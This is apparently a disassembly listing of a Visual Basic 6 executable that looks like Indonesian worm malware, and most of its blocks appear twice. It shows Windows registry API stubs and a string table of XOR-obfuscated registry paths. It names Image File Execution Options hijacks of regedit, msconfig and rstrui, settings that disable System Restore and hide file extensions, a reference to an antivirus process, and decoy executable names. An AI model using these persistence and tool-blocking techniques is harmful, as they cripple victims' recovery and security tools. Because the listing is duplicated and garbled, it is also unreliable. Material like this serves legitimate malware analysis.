00408290
00408290 string "RegCreateKeyA",0
0040829e
0040829e 00 00 ..
004082a0
004082a0 struct DeclareInfo
004082a0 lpszLibraryName uint32 0x406b44
004082a4 lpszFunctionName uint32 0x408290
004082a8 dwFlags uint32 0x00040000
004082ac lpCache uint32 0x41bf5c
004082b0 dwReserved uint32 0x00000000
004082b4
004082b4 00 00 00 00 ....
00408289 00 00 00 ...
0040828c
0040828c struct VBDeclareNameLength
0040828c cbName int 14
00408290
00408290 string "RegCreateKeyA",0
0040829e
0040829e 00 00 ..
004082a0
004082a0 struct DeclareInfo
004082a0 lpszLibraryName uint32 0x406b44
004082a4 lpszFunctionName uint32 0x408290
004082a8 dwFlags uint32 0x00040000
004082ac lpCache uint32 0x41bf5c
004082b0 dwReserved uint32 0x00000000
004082b4
004082b4 00 00 00 00 ....
004082b8
004082b8fn_4082b8:
004082b8mov eax, [0x41bf64]
004082bdor eax, eax
004082bfje 0x4082c3
004082c1jmp eax
004082c3
004082c3loc_4082c3:
004082c3push 0x4082a0
004082c8mov eax, 0x4010e0
004082cdcall eax
004082cfjmp eax
004082b8
004082b8fn_4082b8:
004082b8mov eax, [0x41bf64]
004082bdor eax, eax
004082bfje 0x4082c3
004082c1jmp eax
004082c3
004082c3loc_4082c3:
004082c3push 0x4082a0
004082c8mov eax, 0x4010e0
004082cdcall eax
004082cfjmp eax
004082b8
004082d1
004082d1 00 00 00 00 00 00 00 .......
004082d8
004082d8 struct DeclareInfo
004082d8 lpszLibraryName uint32 0x406b44
004082dc lpszFunctionName uint32 0x408128
004082e0 dwFlags uint32 0x00040000
004082e4 lpCache uint32 0x41bf68
004082e8 dwReserved uint32 0x00000000
004082ec
004082ec 00 00 00 00 ....
004082d1 00 00 00 00 00 00 00 .......
004082d8
004082d8 struct DeclareInfo
004082d8 lpszLibraryName uint32 0x406b44
004082dc lpszFunctionName uint32 0x408128
004082e0 dwFlags uint32 0x00040000
004082e4 lpCache uint32 0x41bf68
004082e8 dwReserved uint32 0x00000000
004082ec
004082ec 00 00 00 00 ....
004082f0
004082f0fn_4082f0:
004082f0mov eax, [0x41bf70]
004082f5or eax, eax
004082f7je 0x4082fb
004082f9jmp eax
004082fb
004082fbloc_4082fb:
004082fbpush 0x4082d8
00408300mov eax, 0x4010e0
00408305call eax
00408307jmp eax
004082f0
004082f0fn_4082f0:
004082f0mov eax, [0x41bf70]
004082f5or eax, eax
004082f7je 0x4082fb
004082f9jmp eax
004082fb
004082fbloc_4082fb:
004082fbpush 0x4082d8
00408300mov eax, 0x4010e0
00408305call eax
00408307jmp eax
004082f0
00408309
00408309 00 00 00 ...
0040830c
0040830c struct VBDeclareNameLength
0040830c cbName int 16
00408310
00408310 string "RegDeleteValueA",0
00408320
00408320 struct DeclareInfo
00408320 lpszLibraryName uint32 0x406b44
00408324 lpszFunctionName uint32 0x408310
00408328 dwFlags uint32 0x00040000
0040832c lpCache uint32 0x41bf74
00408330 dwReserved uint32 0x00000000
00408334
00408334 00 00 00 00 ....
00408309 00 00 00 ...
0040830c
0040830c struct VBDeclareNameLength
0040830c cbName int 16
00408310
00408310 string "RegDeleteValueA",0
00408320
00408320 struct DeclareInfo
00408320 lpszLibraryName uint32 0x406b44
00408324 lpszFunctionName uint32 0x408310
00408328 dwFlags uint32 0x00040000
0040832c lpCache uint32 0x41bf74
00408330 dwReserved uint32 0x00000000
00408334
00408334 00 00 00 00 ....
00408338
00408338fn_408338:
00408338mov eax, [0x41bf7c]
0040833dor eax, eax
0040833fje 0x408343
00408341jmp eax
00408343
00408343loc_408343:
00408343push 0x408320
00408348mov eax, 0x4010e0
0040834dcall eax
0040834fjmp eax
00408338
00408338fn_408338:
00408338mov eax, [0x41bf7c]
0040833dor eax, eax
0040833fje 0x408343
00408341jmp eax
00408343
00408343loc_408343:
00408343push 0x408320
00408348mov eax, 0x4010e0
0040834dcall eax
0040834fjmp eax
00408338
00408351
00408351 00 00 00 ...
00408354
00408354 struct VBDeclareNameLength
00408354 cbName int 12
00408358
00408358 string "RegOpenKeyA",0
00408364
00408364 struct DeclareInfo
00408364 lpszLibraryName uint32 0x406b44
00408368 lpszFunctionName uint32 0x408358
0040836c dwFlags uint32 0x00040000
00408370 lpCache uint32 0x41bf80
00408374 dwReserved uint32 0x00000000
00408378
00408378 00 00 00 00 ....
00408351 00 00 00 ...
00408354
00408354 struct VBDeclareNameLength
00408354 cbName int 12
00408358
00408358 string "RegOpenKeyA",0
00408364
00408364 struct DeclareInfo
00408364 lpszLibraryName uint32 0x406b44
00408368 lpszFunctionName uint32 0x408358
0040836c dwFlags uint32 0x00040000
00408370 lpCache uint32 0x41bf80
00408374 dwReserved uint32 0x00000000
00408378
00408378 00 00 00 00 ....
0040837c
0040837cfn_40837c:
0040837cmov eax, [0x41bf88]
00408381or eax, eax
00408383je 0x408387
00408385jmp eax
00408387
00408387loc_408387:
00408387push 0x408364
0040838cmov eax, 0x4010e0
00408391call eax
00408393jmp eax
0040837c
0040837cfn_40837c:
0040837cmov eax, [0x41bf88]
00408381or eax, eax
00408383je 0x408387
00408385jmp eax
00408387
00408387loc_408387:
00408387push 0x408364
0040838cmov eax, 0x4010e0
00408391call eax
00408393jmp eax
0040837c
00408395
00408395 00 00 00 ...
00408398
00408398 struct VBDeclareNameLength
00408398 cbName int 14
0040839c
0040839c string "RegOpenKeyExA",0
004083aa
004083aa 00 00 ..
004083ac
004083ac struct DeclareInfo
004083ac lpszLibraryName uint32 0x406b44
004083b0 lpszFunctionName uint32 0x40839c
004083b4 dwFlags uint32 0x00040000
004083b8 lpCache uint32 0x41bf8c
004083bc dwReserved uint32 0x00000000
004083c0
004083c0 00 00 00 00 ....
00408395 00 00 00 ...
00408398
00408398 struct VBDeclareNameLength
00408398 cbName int 14
0040839c
0040839c string "RegOpenKeyExA",0
004083aa
004083aa 00 00 ..
004083ac
004083ac struct DeclareInfo
004083ac lpszLibraryName uint32 0x406b44
004083b0 lpszFunctionName uint32 0x40839c
004083b4 dwFlags uint32 0x00040000
004083b8 lpCache uint32 0x41bf8c
004083bc dwReserved uint32 0x00000000
004083c0
004083c0 00 00 00 00 ....
004083c4
004083c4fn_4083c4:
004083c4mov eax, [0x41bf94]
004083c9or eax, eax
004083cbje 0x4083cf
004083cdjmp eax
004083cf
004083cfloc_4083cf:
004083cfpush 0x4083ac
004083d4mov eax, 0x4010e0
004083d9call eax
004083dbjmp eax
004083c4
004083c4fn_4083c4:
004083c4mov eax, [0x41bf94]
004083c9or eax, eax
004083cbje 0x4083cf
004083cdjmp eax
004083cf
004083cfloc_4083cf:
004083cfpush 0x4083ac
004083d4mov eax, 0x4010e0
004083d9call eax
004083dbjmp eax
004083c4
004083dd
004083dd 00 00 00 ...
004083e0
004083e0 struct VBDeclareNameLength
004083e0 cbName int 17
004083e4
004083e4 string "RegQueryValueExA",0
004083f5
004083f5 00 00 00 ...
004083f8
004083f8 struct DeclareInfo
004083f8 lpszLibraryName uint32 0x406b44
004083fc lpszFunctionName uint32 0x4083e4
00408400 dwFlags uint32 0x00040000
00408404 lpCache uint32 0x41bf98
00408408 dwReserved uint32 0x00000000
0040840c
0040840c 00 00 00 00 ....
004083dd 00 00 00 ...
004083e0
004083e0 struct VBDeclareNameLength
004083e0 cbName int 17
004083e4
004083e4 string "RegQueryValueExA",0
004083f5
004083f5 00 00 00 ...
004083f8
004083f8 struct DeclareInfo
004083f8 lpszLibraryName uint32 0x406b44
004083fc lpszFunctionName uint32 0x4083e4
00408400 dwFlags uint32 0x00040000
00408404 lpCache uint32 0x41bf98
00408408 dwReserved uint32 0x00000000
0040840c
0040840c 00 00 00 00 ....
00408410
00408410fn_408410:
00408410mov eax, [0x41bfa0]
00408415or eax, eax
00408417je 0x40841b
00408419jmp eax
0040841b
0040841bloc_40841b:
0040841bpush 0x4083f8
00408420mov eax, 0x4010e0
00408425call eax
00408427jmp eax
00408410
00408410fn_408410:
00408410mov eax, [0x41bfa0]
00408415or eax, eax
00408417je 0x40841b
00408419jmp eax
0040841b
0040841bloc_40841b:
0040841bpush 0x4083f8
00408420mov eax, 0x4010e0
00408425call eax
00408427jmp eax
00408410
00408429
00408429 00 00 00 ...
0040842c
0040842c struct VBDeclareNameLength
0040842c cbName int 15
00408430
00408430 string "RegSetValueExA",0
0040843f
0040843f 00 .
00408440
00408440 struct DeclareInfo
00408440 lpszLibraryName uint32 0x406b44
00408444 lpszFunctionName uint32 0x408430
00408448 dwFlags uint32 0x00040000
0040844c lpCache uint32 0x41bfa4
00408450 dwReserved uint32 0x00000000
00408454
00408454 00 00 00 00 ....
00408429 00 00 00 ...
0040842c
0040842c struct VBDeclareNameLength
0040842c cbName int 15
00408430
00408430 string "RegSetValueExA",0
0040843f
0040843f 00 .
00408440
00408440 struct DeclareInfo
00408440 lpszLibraryName uint32 0x406b44
00408444 lpszFunctionName uint32 0x408430
00408448 dwFlags uint32 0x00040000
0040844c lpCache uint32 0x41bfa4
00408450 dwReserved uint32 0x00000000
00408454
00408454 00 00 00 00 ....
00408458
00408458fn_408458:
00408458mov eax, [0x41bfac]
0040845dor eax, eax
0040845fje 0x408463
00408461jmp eax
00408463
00408463loc_408463:
00408463push 0x408440
00408468mov eax, 0x4010e0
0040846dcall eax
0040846fjmp eax
00408458
00408458fn_408458:
00408458mov eax, [0x41bfac]
0040845dor eax, eax
0040845fje 0x408463
00408461jmp eax
00408463
00408463loc_408463:
00408463push 0x408440
00408468mov eax, 0x4010e0
0040846dcall eax
0040846fjmp eax
00408458
00408471
00408471 00 00 00 2c 00 00 00 ...,...
00408478
00408478 wstring "ULqyef{l{UJhk`gl}Z}h}l",0
004084a6
004084a6 00 00 10 00 00 00 ......
004084ac
004084ac wstring "FullPath",0
004084be
004084be 00 00 ..
004084c0 08 00 00 00 ....
004084c4
004084c4 wstring "U[\\G",0
004084ce
004084ce 00 00 ..
004084d0 02 00 00 00 ....
004084d4
004084d4 wstring "s",0
004084d8
004084d8 02 00 00 00 ....
004084dc
004084dc wstring "0",0
004084e0
004084e0 6a 00 00 00 j...
004084e4
004084e4 wstring "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg",0
00408550
00408550 0a 00 00 00 ....
00408554
00408554 wstring "Shell",0
00408560
00408560 1c 00 00 00 ....
00408564
00408564 wstring "explorer.exe, ",0
00408582
00408582 00 00 68 00 00 00 ..h...
00408588
00408588 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z",0
004085f2
004085f2 00 00 08 00 00 00 ......
004085f8
004085f8 wstring "LOAD",0
00408602
00408602 00 00 24 00 00 00 ..$...
00408608
00408608 wstring "\\Explorer\\Advanced",0
0040862e
0040862e 00 00 ..
00408630 16 00 00 00 ....
00408634
00408634 wstring "HideFileExt",0
0040864c
0040864c 0c 00 00 00 ....
00408650
00408650 wstring "Hidden",0
0040865e
0040865e 00 00 ..
00408660 02 00 00 00 ....
00408664
00408664 wstring "R",0
00408668
00408668 02 00 00 00 ....
0040866c
0040866c wstring "S",0
00408670
00408670 1e 00 00 00 ....
00408674
00408674 wstring "ShowSuperHidden",0
00408694
00408694 0e 00 00 00 ....
00408698
00408698 wstring "scrfile",0
004086a8
004086a8 16 00 00 00 ....
004086ac
004086ac wstring "File Folder",0
004086c4
004086c4 0e 00 00 00 ....
004086c8
004086c8 wstring "exefile",0
004086d8
004086d8 30 00 00 00 0...
004086dc
004086dc wstring "SOFTWARE\\Classes\\exefile",0
0040870e
0040870e 00 00 ..
00408710 5c 00 00 00 \...
00408714
00408714 wstring "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz",0
00408772
00408772 00 00 0a 00 00 00 ......
00408778
00408778 wstring "Start",0
00408784
00408784 4a 00 00 00 J...
00408788
00408788 wstring "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg",0
004087d4
004087d4 1c 00 00 00 ....
004087d8
004087d8 wstring "\\gjaljblm_he|l",0
004087f6
004087f6 00 00 18 00 00 00 ......
004087fc
004087fc wstring "msconfig.exe",0
00408816
00408816 00 00 10 00 00 00 ......
0040881c
0040881c wstring "debugger",0
0040882e
0040882e 00 00 ..
00408830 02 00 00 00 ....
00408834
00408834 wstring "q",0
00408838
00408838 68 00 00 00 h...
0040883c
0040883c wstring "ZFO]^H[LUYfe`j`lzUD`j{fzfo}U^`gmf~z)G]UZpz}ld[lz}f{l",0
004088a6
004088a6 00 00 1a 00 00 00 ......
004088ac
004088ac wstring "DisableConfig",0
004088c8
004088c8 12 00 00 00 ....
004088cc
004088cc wstring "DisableSR",0
004088e0
004088e0 4a 00 00 00 J...
004088e4
004088e4 wstring "ZPZ]LDUJfg}{feZl}998UJfg}{feUZholKff}",0
00408930
00408930 1c 00 00 00 ....
00408934
00408934 wstring "He}l{gh}lZalee",0
00408952
00408952 00 00 0a 00 00 00 ......
00408958
00408958 wstring "l.exe",0
00408964
00408964 94 00 00 00 ....
00408968
00408968 wstring "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\",0
004089fe
004089fe 00 00 ..
00408a00 0c 00 00 00 ....
00408a04
00408a04 wstring "Date: ",0
00408a12
00408a12 00 00 00 00 00 00 18 00 00 00 ..........
00408a1c
00408a1c wstring "\\notepad.exe",0
00408a36
00408a36 00 00 16 00 00 00 ......
00408a3c
00408a3c wstring "regedit.exe",0
00408a54
00408a54 14 00 00 00 ....
00408a58
00408a58 wstring "rstrui.exe",0
00408a6e
00408a6e 00 00 ..
00408a70 5a 00 00 00 Z...
00408a74
00408a74 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g",0
00408ad0
00408ad0 0a 00 00 00 ....
00408ad4
00408ad4 wstring "avgnt",0
00408ae0
00408ae0 14 00 00 00 ....
00408ae4
00408ae4 wstring "drv_st_key",0
00408afa
00408afa 00 00 18 00 00 00 ......
00408b00
00408b00 wstring "gf{dhgVshgmh",0
00408b1a
00408b1a 00 00 18 00 00 00 ......
00408b20
00408b20 wstring "gf{dhg)shgmh",0
00408b3a
00408b3a 00 00 0a 00 00 00 ......
00408b40
00408b40 wstring "DZDZN",0
00408b4c
00408b4c 08 00 00 00 ....
00408b50
00408b50 wstring "^f{m",0
00408b5a
00408b5a 00 00 0c 00 00 00 ......
00408b60
00408b60 wstring "^`ghdy",0
00408b6e
00408b6e 00 00 ..
00408b70 0c 00 00 00 ....
00408b74
00408b74 wstring "M{`\x7fl{",0
00408b82
00408b82 00 00 26 00 00 00 ..&...
00408b88
00408b88 wstring "^`g\\ymh}lZ|yl{\x7f`zf{",0
00408bb0
00408bb0 08 00 00 00 ....
00408bb4
00408bb4 wstring "]hzb",0
00408bbe
00408bbe 00 00 ..
00408bc0 08 00 00 00 ....
00408bc4
00408bc4 wstring "mhnf",0
00408bce
00408bce 00 00 ..
00408bd0 02 00 00 00 ....
00408bd4
00408bd4 wstring "Q",0
00408bd8
00408bd8 20 00 00 00 ...
00408bdc
00408bdc wstring "J|lQ==Vz}`eVal{l",0
00408bfe
00408bfe 00 00 ..
00408c00 1c 00 00 00 ....
00408c04
00408c04 wstring "H|}fZ|yl{\x7f`zf{",0
00408c22
00408c22 00 00 1c 00 00 00 ......
00408c28
00408c28 wstring "SMA_nya_Artika",0
00408c46
00408c46 00 00 1e 00 00 00 ......
00408c4c
00408c4c wstring "Putri_Indonesia",0
00408c6c
00408c6c 12 00 00 00 ....
00408c70
00408c70 wstring "BabelPath",0
00408c84
00408c84 1a 00 00 00 ....
00408c88
00408c88 wstring "Alumni Smansa",0
00408ca4
00408ca4 12 00 00 00 ....
00408ca8
00408ca8 wstring "ViriSetup",0
00408cbc
00408cbc 26 00 00 00 &...
00408cc0
00408cc0 wstring "SMAN1_Pangkalpinang",0
00408ce8
00408ce8 18 00 00 00 ....
00408cec
00408cec wstring "Putri_Bangka",0
00408d06
00408d06 00 00 0e 00 00 00 ......
00408d0c
00408d0c wstring "SysYuni",0
00408d1c
00408d1c 0e 00 00 00 ....
00408d20
00408d20 wstring "SysDiaz",0
00408d30
00408d30 0c 00 00 00 ....
00408d34
00408d34 wstring "SysRia",0
00408d42
00408d42 00 00 0a 00 00 00 ......
00408d48
00408d48 wstring "Pluto",0
00408d54
00408d54 0e 00 00 00 ....
00408d58
00408d58 wstring "DllHost",0
00408d68
00408d68 1a 00 00 00 ....
00408d6c
00408d6c wstring "SaTRio ADie X",0
00408d88
00408d88 02 00 00 00 ....
00408d8c
00408d8c wstring "p",0
00408d90
00408d90 1a 00 00 00 ....
00408d94
00408d94 wstring "Tok-Cirrhatus",0
00408db0
00408db0 1a 00 00 00 ....
00408db4
00408db4 wstring "AllMyBallance",0
00408dd0
00408dd0 1e 00 00 00 ....
00408dd4
00408dd4 wstring "MomentEverComes",0
00408df4
00408df4 1a 00 00 00 ....
00408df8
00408df8 wstring "TryingToSpeak",0
00408e14
00408e14 1c 00 00 00 ....
00408e18
00408e18 wstring "YourUnintended",0
00408e36
00408e36 00 00 1c 00 00 00 ......
00408e3c
00408e3c wstring "YourUnintendes",0
00408e5a
00408e5a 00 00 12 00 00 00 ......
00408e60
00408e60 wstring "lexplorer",0
00408e74
00408e74 0e 00 00 00 ....
00408e78
00408e78 wstring "dkernel",0
00408e88
00408e88 1c 00 00 00 ....
00408e8c
00408e8c wstring "Bron-Spizaetus",0
00408eaa
00408eaa 00 00 1c 00 00 00 ......
00408eb0
00408eb0 wstring "ADie suka kamu",0
00408ece
00408ece 00 00 ..
00408ed0 0c 00 00 00 ....
00408ed4
00408ed4 wstring "winfix",0
00408ee2
00408ee2 00 00 0e 00 00 00 ......
00408ee8
00408ee8 wstring "templog",0
00408ef8
00408ef8 0e 00 00 00 ....
00408efc
00408efc wstring "service",0
00408f0c
00408f0c 10 00 00 00 ....
00408f10
00408f10 wstring "Grogotix",0
00408f22
00408f22 00 00 12 00 00 00 ......
00408f28
00408f28 wstring "\\windows*",0
00408f3c
00408f3c 0e 00 00 00 ....
00408f40
00408f40 wstring "</head>",0
00408f50
00408f50 1e 00 00 00 ....
00408f54
00408f54 wstring "\\ShellNew\\*.exe",0
00408f74
00408f74 0c 00 00 00 ....
00408f78
00408f78 wstring "\\*.exe",0
00408f86
00408f86 00 00 0c 00 00 00 ......
00408f8c
00408f8c wstring "\\*.vbs",0
00408f9a
00408f9a 00 00 18 00 00 00 ......
00408fa0
00408fa0 wstring "\\MyHeart.exe",0
00408fba
00408fba 00 00 2c 00 00 00 ..,...
00408fc0
00408fc0 wstring "\\KesenjanganSosial.exe",0
00408fee
00408fee 00 00 ..
00408ff0 1e 00 00 00 ....
00408ff4
00408ff4 wstring "\\FirstLove.exe*",0
00409014
00409014 18 00 00 00 ....
00409018
00409018 wstring "\\eksplorasi*",0
00409032
00409032 00 00 16 00 00 00 ......
00409038
00409038 wstring "\\CintaButa*",0
00409050
00409050 0c 00 00 00 ....
00409054
00409054 wstring "\\*.pif",0
00409062
00409062 00 00 14 00 00 00 ......
00409068
00409068 wstring "\\Romantic*",0
0040907e
0040907e 00 00 ..
00409080 34 00 00 00 4...
00409084
00409084 wstring "Zj{`y}`gn'O`elZpz}ldFkclj}",0
004090ba
004090ba 00 00 1a 00 00 00 ......
004090c0
004090c0 wstring "\\msvbvm60.dll",0
004090dc
004090dc 02 00 00 00 ....
004090e0
004090e0 wstring "P",0
004090e4
004090e4 28 00 00 00 (...
004090e8
004090e8 wstring "Uzpz}ldUdz\x7fk\x7fd?9'mee",0
00408471 00 00 00 2c 00 00 00 ...,...
00408478
00408478 wstring "ULqyef{l{UJhk`gl}Z}h}l",0
004084a6
004084a6 00 00 10 00 00 00 ......
004084ac
004084ac wstring "FullPath",0
004084be
004084be 00 00 ..
004084c0 08 00 00 00 ....
004084c4
004084c4 wstring "U[\\G",0
004084ce
004084ce 00 00 ..
004084d0 02 00 00 00 ....
004084d4
004084d4 wstring "s",0
004084d8
004084d8 02 00 00 00 ....
004084dc
004084dc wstring "0",0
004084e0
004084e0 6a 00 00 00 j...
004084e4
004084e4 wstring "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg",0
00408550
00408550 0a 00 00 00 ....
00408554
00408554 wstring "Shell",0
00408560
00408560 1c 00 00 00 ....
00408564
00408564 wstring "explorer.exe, ",0
00408582
00408582 00 00 68 00 00 00 ..h...
00408588
00408588 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z",0
004085f2
004085f2 00 00 08 00 00 00 ......
004085f8
004085f8 wstring "LOAD",0
00408602
00408602 00 00 24 00 00 00 ..$...
00408608
00408608 wstring "\\Explorer\\Advanced",0
0040862e
0040862e 00 00 ..
00408630 16 00 00 00 ....
00408634
00408634 wstring "HideFileExt",0
0040864c
0040864c 0c 00 00 00 ....
00408650
00408650 wstring "Hidden",0
0040865e
0040865e 00 00 ..
00408660 02 00 00 00 ....
00408664
00408664 wstring "R",0
00408668
00408668 02 00 00 00 ....
0040866c
0040866c wstring "S",0
00408670
00408670 1e 00 00 00 ....
00408674
00408674 wstring "ShowSuperHidden",0
00408694
00408694 0e 00 00 00 ....
00408698
00408698 wstring "scrfile",0
004086a8
004086a8 16 00 00 00 ....
004086ac
004086ac wstring "File Folder",0
004086c4
004086c4 0e 00 00 00 ....
004086c8
004086c8 wstring "exefile",0
004086d8
004086d8 30 00 00 00 0...
004086dc
004086dc wstring "SOFTWARE\\Classes\\exefile",0
0040870e
0040870e 00 00 ..
00408710 5c 00 00 00 \...
00408714
00408714 wstring "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz",0
00408772
00408772 00 00 0a 00 00 00 ......
00408778
00408778 wstring "Start",0
00408784
00408784 4a 00 00 00 J...
00408788
00408788 wstring "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg",0
004087d4
004087d4 1c 00 00 00 ....
004087d8
004087d8 wstring "\\gjaljblm_he|l",0
004087f6
004087f6 00 00 18 00 00 00 ......
004087fc
004087fc wstring "msconfig.exe",0
00408816
00408816 00 00 10 00 00 00 ......
0040881c
0040881c wstring "debugger",0
0040882e
0040882e 00 00 ..
00408830 02 00 00 00 ....
00408834
00408834 wstring "q",0
00408838
00408838 68 00 00 00 h...
0040883c
0040883c wstring "ZFO]^H[LUYfe`j`lzUD`j{fzfo}U^`gmf~z)G]UZpz}ld[lz}f{l",0
004088a6
004088a6 00 00 1a 00 00 00 ......
004088ac
004088ac wstring "DisableConfig",0
004088c8
004088c8 12 00 00 00 ....
004088cc
004088cc wstring "DisableSR",0
004088e0
004088e0 4a 00 00 00 J...
004088e4
004088e4 wstring "ZPZ]LDUJfg}{feZl}998UJfg}{feUZholKff}",0
00408930
00408930 1c 00 00 00 ....
00408934
00408934 wstring "He}l{gh}lZalee",0
00408952
00408952 00 00 0a 00 00 00 ......
00408958
00408958 wstring "l.exe",0
00408964
00408964 94 00 00 00 ....
00408968
00408968 wstring "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\",0
004089fe
004089fe 00 00 ..
00408a00 0c 00 00 00 ....
00408a04
00408a04 wstring "Date: ",0
00408a12
00408a12 00 00 00 00 00 00 18 00 00 00 ..........
00408a1c
00408a1c wstring "\\notepad.exe",0
00408a36
00408a36 00 00 16 00 00 00 ......
00408a3c
00408a3c wstring "regedit.exe",0
00408a54
00408a54 14 00 00 00 ....
00408a58
00408a58 wstring "rstrui.exe",0
00408a6e
00408a6e 00 00 ..
00408a70 5a 00 00 00 Z...
00408a74
00408a74 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g",0
00408ad0
00408ad0 0a 00 00 00 ....
00408ad4
00408ad4 wstring "avgnt",0
00408ae0
00408ae0 14 00 00 00 ....
00408ae4
00408ae4 wstring "drv_st_key",0
00408afa
00408afa 00 00 18 00 00 00 ......
00408b00
00408b00 wstring "gf{dhgVshgmh",0
00408b1a
00408b1a 00 00 18 00 00 00 ......
00408b20
00408b20 wstring "gf{dhg)shgmh",0
00408b3a
00408b3a 00 00 0a 00 00 00 ......
00408b40
00408b40 wstring "DZDZN",0
00408b4c
00408b4c 08 00 00 00 ....
00408b50
00408b50 wstring "^f{m",0
00408b5a
00408b5a 00 00 0c 00 00 00 ......
00408b60
00408b60 wstring "^`ghdy",0
00408b6e
00408b6e 00 00 ..
00408b70 0c 00 00 00 ....
00408b74
00408b74 wstring "M{`\x7fl{",0
00408b82
00408b82 00 00 26 00 00 00 ..&...
00408b88
00408b88 wstring "^`g\\ymh}lZ|yl{\x7f`zf{",0
00408bb0
00408bb0 08 00 00 00 ....
00408bb4
00408bb4 wstring "]hzb",0
00408bbe
00408bbe 00 00 ..
00408bc0 08 00 00 00 ....
00408bc4
00408bc4 wstring "mhnf",0
00408bce
00408bce 00 00 ..
00408bd0 02 00 00 00 ....
00408bd4
00408bd4 wstring "Q",0
00408bd8
00408bd8 20 00 00 00 ...
00408bdc
00408bdc wstring "J|lQ==Vz}`eVal{l",0
00408bfe
00408bfe 00 00 ..
00408c00 1c 00 00 00 ....
00408c04
00408c04 wstring "H|}fZ|yl{\x7f`zf{",0
00408c22
00408c22 00 00 1c 00 00 00 ......
00408c28
00408c28 wstring "SMA_nya_Artika",0
00408c46
00408c46 00 00 1e 00 00 00 ......
00408c4c
00408c4c wstring "Putri_Indonesia",0
00408c6c
00408c6c 12 00 00 00 ....
00408c70
00408c70 wstring "BabelPath",0
00408c84
00408c84 1a 00 00 00 ....
00408c88
00408c88 wstring "Alumni Smansa",0
00408ca4
00408ca4 12 00 00 00 ....
00408ca8
00408ca8 wstring "ViriSetup",0
00408cbc
00408cbc 26 00 00 00 &...
00408cc0
00408cc0 wstring "SMAN1_Pangkalpinang",0
00408ce8
00408ce8 18 00 00 00 ....
00408cec
00408cec wstring "Putri_Bangka",0
00408d06
00408d06 00 00 0e 00 00 00 ......
00408d0c
00408d0c wstring "SysYuni",0
00408d1c
00408d1c 0e 00 00 00 ....
00408d20
00408d20 wstring "SysDiaz",0
00408d30
00408d30 0c 00 00 00 ....
00408d34
00408d34 wstring "SysRia",0
00408d42
00408d42 00 00 0a 00 00 00 ......
00408d48
00408d48 wstring "Pluto",0
00408d54
00408d54 0e 00 00 00 ....
00408d58
00408d58 wstring "DllHost",0
00408d68
00408d68 1a 00 00 00 ....
00408d6c
00408d6c wstring "SaTRio ADie X",0
00408d88
00408d88 02 00 00 00 ....
00408d8c
00408d8c wstring "p",0
00408d90
00408d90 1a 00 00 00 ....
00408d94
00408d94 wstring "Tok-Cirrhatus",0
00408db0
00408db0 1a 00 00 00 ....
00408db4
00408db4 wstring "AllMyBallance",0
00408dd0
00408dd0 1e 00 00 00 ....
00408dd4
00408dd4 wstring "MomentEverComes",0
00408df4
00408df4 1a 00 00 00 ....
00408df8
00408df8 wstring "TryingToSpeak",0
00408e14
00408e14 1c 00 00 00 ....
00408e18
00408e18 wstring "YourUnintended",0
00408e36
00408e36 00 00 1c 00 00 00 ......
00408e3c
00408e3c wstring "YourUnintendes",0
00408e5a
00408e5a 00 00 12 00 00 00 ......
00408e60
00408e60 wstring "lexplorer",0
00408e74
00408e74 0e 00 00 00 ....
00408e78
00408e78 wstring "dkernel",0
00408e88
00408e88 1c 00 00 00 ....
00408e8c
00408e8c wstring "Bron-Spizaetus",0
00408eaa
00408eaa 00 00 1c 00 00 00 ......
00408eb0
00408eb0 wstring "ADie suka kamu",0
00408ece
00408ece 00 00 ..
00408ed0 0c 00 00 00 ....
00408ed4
00408ed4 wstring "winfix",0
00408ee2
00408ee2 00 00 0e 00 00 00 ......
00408ee8
00408ee8 wstring "templog",0
00408ef8
00408ef8 0e 00 00 00 ....
00408efc
00408efc wstring "service",0
00408f0c
00408f0c 10 00 00 00 ....
00408f10
00408f10 wstring "Grogotix",0
00408f22
00408f22 00 00 12 00 00 00 ......
00408f28
00408f28 wstring "\\windows*",0
00408f3c
00408f3c 0e 00 00 00 ....
00408f40
00408f40 wstring "</head>",0
00408f50
00408f50 1e 00 00 00 ....
00408f54
00408f54 wstring "\\ShellNew\\*.exe",0
00408f74
00408f74 0c 00 00 00 ....
00408f78
00408f78 wstring "\\*.exe",0
00408f86
00408f86 00 00 0c 00 00 00 ......
00408f8c
00408f8c wstring "\\*.vbs",0
00408f9a
00408f9a 00 00 18 00 00 00 ......
00408fa0
00408fa0 wstring "\\MyHeart.exe",0
00408fba
00408fba 00 00 2c 00 00 00 ..,...
00408fc0
00408fc0 wstring "\\KesenjanganSosial.exe",0
00408fee
00408fee 00 00 ..
00408ff0 1e 00 00 00 ....
00408ff4
00408ff4 wstring "\\FirstLove.exe*",0
00409014
00409014 18 00 00 00 ....
00409018
00409018 wstring "\\eksplorasi*",0
00409032
00409032 00 00 16 00 00 00 ......
00409038
00409038 wstring "\\CintaButa*",0
00409050
00409050 0c 00 00 00 ....
00409054
00409054 wstring "\\*.pif",0
00409062
00409062 00 00 14 00 00 00 ......
00409068
00409068 wstring "\\Romantic*",0
0040907e
0040907e 00 00 ..
00409080 34 00 00 00 4...
00409084
00409084 wstring "Zj{`y}`gn'O`elZpz}ldFkclj}",0
004090ba
004090ba 00 00 1a 00 00 00 ......
004090c0
004090c0 wstring "\\msvbvm60.dll",0
004090dc
004090dc 02 00 00 00 ....
004090e0
004090e0 wstring "P",0
004090e4
004090e4 28 00 00 00 (...
004090e8
004090e8 wstring "Uzpz}ldUdz\x7fk\x7fd?9'mee",0
Loading..